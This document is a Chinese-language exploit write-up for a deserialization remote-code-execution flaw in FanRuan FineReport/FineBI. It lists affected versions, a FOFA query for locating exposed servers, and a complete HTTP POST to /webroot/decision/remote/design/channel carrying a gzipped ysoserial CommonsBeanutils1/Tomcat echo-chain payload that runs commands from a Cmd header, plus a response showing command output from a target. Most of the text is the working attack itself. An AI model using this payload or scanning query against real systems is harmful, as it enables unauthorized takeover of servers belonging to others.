F9-1帆软-OA-反序列化RCE

漏洞描述：

帆软FineReport、FineBI 存在反序列化漏洞，攻击者可向 /webroot/decision/remote/design/channel 接口发送精心构造的反序列化数据，在目标服务器上执行任意代码，获取服务器权限。

影响版本：

FineBI <= V5.1.10

网站图片：

网络测绘：

fofa语法：

FOFA：app="帆软-FineReport"

漏洞复现：

payload：

```
POST /webroot/decision/remote/design/channel HTTP/1.1
Host: your-ip
Cmd: whoami
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 17531

{{unquote("\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\xff\x9cz\x09|T\xd5\xf5\xff\xf7\xbcY\xde\x9b\xc9\xcb6!\x09\x83\x88\x01Y\xb3\x0d\xb2\xa9\x13eIX\x0c$\x01\x0d\x05C\xb4\xf82\
```

效果图:
PS：yso的CB1+Tomcat回显链

Request

数据包扫描 热加载 构造请求

```
POST /webroot/decision/remote/design/channel HTTP/1.1
Host: [redacted]:8000
Cmd: whoami
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length auto: 17531

{{unquote("\x1f\x8b\x08\x00\x00\x00\x00\x00\xff\x9cz\x09|
T\xd5\xf5\xff\xf7\xbcY\xde\x9b\xc9\xcb6!\x09\x83\x88\x01Y\xb3\x0d\xb2\xa9\x13eIX\x0c$\x01\x0d\x05C\x
b4\xf82\xf3\x92\x0c\xcc\xbc7\xbc\xf7\x06\x12\xab\xe2\xdf\xa5\xf5\xa7?
\x15\xc5\x8a\xd8j\xd1\xb6\xa6\x0a\xdahu\x88R\x16E\xb1\x8bK\xdd\xda\xbaW+.\xadK
[\xdb\x7f\xadb\xf3\xfb\xdc\xfbf\x86L\x18\xa2m>\xe1\xdd\xfb\xce=\xe7\xdcs\xcf\xfd\xdes\xce\x7da\xd7Gp
\x99\x06\x8a\xd7\x29\x1b\x95\xda\x84\x15\x89\xd6\x9e\xa5\x98\xdd\xcdJ\xdc%\xbe\xf2\xe8\xc1\xb2\x0b\x
9es@X\x0coTW\xc2\x8b\x95\x90\xa5\x1b\x8d\xf0X\xdd\x86jv\xeb\xd1pO|\xde|
\xf0\x9fM\x12\x00b\xffL\x03\xd3Cz\xac\xb6\xd3\xa8\xb5\xba#F\xb8V7\xbaj\xbb#\x1d\xaa\xa1\x29\x96Z\xab
j]\x11M\xad5\xe3\x91\xda\x95\xbdq5\xbcJ\x89&\xd4\xe2\xa7oj\xfe\xf0\xb3_n\x13
4\xc1i\xf5\xc6U\x0b\x93\x9bBz,
\xd0i\x04\xb8\x96\x80nt\x052Z\x02\x8c%\xc0\xe4\xeb\x9a\xe0\xda\xc8TX\xf05\xb15\x04\xa2\x8a\xd6\x15X\
xde\xb1N\x0dYu=q\xd3@\xcd\x08\xd60=\xb5\x0dz,
\xaek\xaaf1\x85\xcb\xbf\x1dx#\x7f\xdd\xfd\xe3\x04\x14\xac\xc1\xd8\x90\xa1*\x96\xba\x28\x16\xb7z9\x97
\x19\xb1Ts\x91\xa6tD\xd5\xf0\x1a\xf8\xba\x15\xb3E\xb7Z\x12\xd1\xe8\x0aC\x8f\xab\x86\xd5\xbb\x06\xae\
x88\xb9L\xedm\x84\x1cO\x91Z\xe3\x8a\xd6\x84\xc2\x90\xa2-\xd4\x17\xf5X\x86\x12\xb2\"\xbaf\xa1d\x88\xb
d\xf5\xba\x1eU\x15\xad\xae\x1dbH1CJX\xb50\xbb\x7d$\x0f\xd8~\x0c\x98\xf1H\xa0\xc1\x96h\xb5z\xa3\xcc\x
1f\xc5\xa1\xccz\x12\xf1h\xe4B\xd5\xb00wDg&
\xe2Q5\x90\x91\x0a4\x0c\x97\xafk\x82W\xd5\xac\x88\xd5\xdb\xac3\xcb\xa6\x8c\xa4mQ\x86\xb1\xae\x1dy\xe
b\xf4\x88\xa6\x86\x17\xabV\xa8\xdb\xc2\x94\x11W\xc4\x99Rr\xf9i\xe7\xb5\x281\xd5\xb4P\xd2>\xc4Y\xad\x
```

Responses 2916bytes / 84ms 美化

```
HTTP/1.1 200
x-frame-options: SAMEORIGIN
Set-Cookie: JSESSIONID=E29757E340D34F31BFDE
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: object-src 'self'
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Date: Mon, 27 Nov 2023 10:52:27 GMT
Content-Length: 2916

nt authority\local service
[binary data]
```